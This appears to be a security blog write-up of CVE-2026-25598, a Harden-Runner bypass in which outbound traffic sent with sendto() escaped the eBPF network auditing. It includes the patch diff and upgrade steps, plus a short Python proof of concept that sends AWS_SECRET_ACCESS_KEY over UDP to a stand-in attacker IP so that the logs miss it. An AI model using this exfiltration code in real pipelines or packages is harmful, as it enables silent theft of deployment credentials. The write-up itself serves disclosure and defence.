The Invisible Courier: Bypassing Harden-Runner's Watchful Eye via Syscall Ninja Tactics

Modern CI/CD pipelines are basically terrifying. You are downloading half the internet via npm install or pip install and executing it on a server with access to your production deployment keys. To combat this, Step Security created Harden-Runner, a GitHub Action that acts like an EDR (Endpoint Detection and Response) for your runner. It uses eBPF—the Linux kernel's superpower—to hook into system calls and watch what your build is doing.

The promise is simple: if a malicious package tries to send your AWS secrets to evil-hacker.com, Harden-Runner sees the outbound connection, logs it, and (in strict mode) blocks it. It provides the "Audit" trail that compliance teams drool over.

But here is the catch with eBPF and syscall hooking: you only see what you explicitly look for. If you set up a camera at the front door to catch burglars, but the burglar decides to Kool-Aid Man their way through the wall, your camera sees nothing. CVE-2026-25598 is exactly that—a Kool-Aid Man style bypass of the network auditing logic.

To understand this vulnerability, we have to look at how network connections work in Linux. The standard, polite way to talk to a remote server (especially over TCP) is the connect() system call. It initiates the three-way handshake. Most monitoring tools hook connect() because it's the choke point. If you stop the handshake, you stop the data.

However, the Linux kernel offers a buffet of options for sending data. Enter sendto, sendmsg, and sendmmsg. These are often used for UDP (which is connectionless) or for more advanced socket operations where you specify the destination address with the data payload, rather than establishing a connection first.

The flaw in Harden-Runner (prior to v2.14.2) was an assumption: the developers assumed that interesting traffic would always flow through connect(). The eBPF probes were attached to the connect family of syscalls but left the send-message family unmonitored. This meant that if an attacker used sendto() directly, the kernel would happily route the packet out to the internet, and the Harden-Runner agent would remain blissfully unaware, staring blankly at the connect() hook waiting for an event that never happened.

The fix for this vulnerability didn't involve complex logic changes in the TypeScript action itself. Instead, it was a brain transplant. The Harden-Runner action downloads a compiled binary agent that does the heavy lifting (eBPF instrumentation). The patch simply points the downloader to a smarter version of that agent.

Here is the diff from src/install-agent.ts in commit 5ef0c079ce82195b2a36a210272d6b661572d83e:

// src/install-agent.ts
 
// The vulnerability existed because we were pulling v0.14.2
- downloadPath = await tc.downloadTool("https://github.com/step-security/agent/releases/download/v0.14.2/agent_0.14.2_linux_amd64.tar.gz", ...);
 
// The fix: Upgrade to v0.14.3, which includes the missing syscall hooks
+ downloadPath = await tc.downloadTool("https://github.com/step-security/agent/releases/download/v0.14.3/agent_0.14.3_linux_amd64.tar.gz", ...);

While this looks trivial, the magic happened inside that agent_0.14.3_linux_amd64.tar.gz. The Go/C code inside that binary was updated to attach kprobes (or tracepoints) to:

1. __sys_sendto
2. __sys_sendmsg
3. __sys_sendmmsg

This ensures that even if a process tries to bypass the handshake, the intent to transmit data to an external IP is captured.

Let's play the role of a malicious dependency. We are inside a GitHub Action runner, and we know the repository owner is using Harden-Runner with egress-policy: audit. They think they are safe because they will see any weird connections in the logs.

If we use curl or standard Python requests, the library will call connect(), and we get caught. So, we drop to low-level sockets. We construct a UDP packet (or even a raw TCP packet using sendto if we are feeling adventurous with raw sockets, though UDP is easier here) and fire it off.

Here is the Proof-of-Concept logic:

import socket
import os
 
# The secret we want to steal
secret_data = os.environ.get("AWS_SECRET_ACCESS_KEY", "test_secret")
 
# TARGET: 198.51.100.1 (Attacker Controller)
# We use SOCK_DGRAM (UDP) which naturally uses sendto()
# effectively bypassing the connect() hook in older agents.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
print("[+] Exfiltrating data via UDP sendto()...")
# The agent is watching for a handshake. We don't shake hands.
sock.sendto(secret_data.encode(), ("198.51.100.1", 1337))
 
print("[+] Data sent. Check the audit logs. You won't find me.")

When this script runs on a vulnerable version, the packet leaves the network interface. The destination server receives the secrets. The Step Security dashboard? It shows "No outbound connections detected." It is the perfect crime.

The danger here isn't just that data can be exfiltrated; it's that the record of the exfiltration is missing. Security teams rely on these audit logs to prove a negative: "We checked the logs, and no keys were sent to unknown IPs."

With CVE-2026-25598, that statement becomes a lie. A sophisticated attacker (like those behind SolarWinds or Codecov) knows how to check for EDR agents and bypass them. By exploiting this gap, they could maintain persistence or steal credentials from high-value repositories without tripping a single alarm. This degrades the integrity of the entire supply chain security posture provided by the tool.

Remediation is straightforward but urgent. You must update the action version in your .github/workflows files. The vulnerability is patched in v2.14.2.

steps:
  - uses: step-security/harden-runner@v2.14.2
    with:
      egress-policy: audit

This version pulls the 0.14.3 agent. For a more robust defense, consider switching from audit to block mode. In block mode, the agent often employs DNS filtering and firewall rules that operate at a network layer below the syscall hooks, potentially catching packets even if the specific syscall wasn't audited—though relying on audit accuracy alone requires this patch.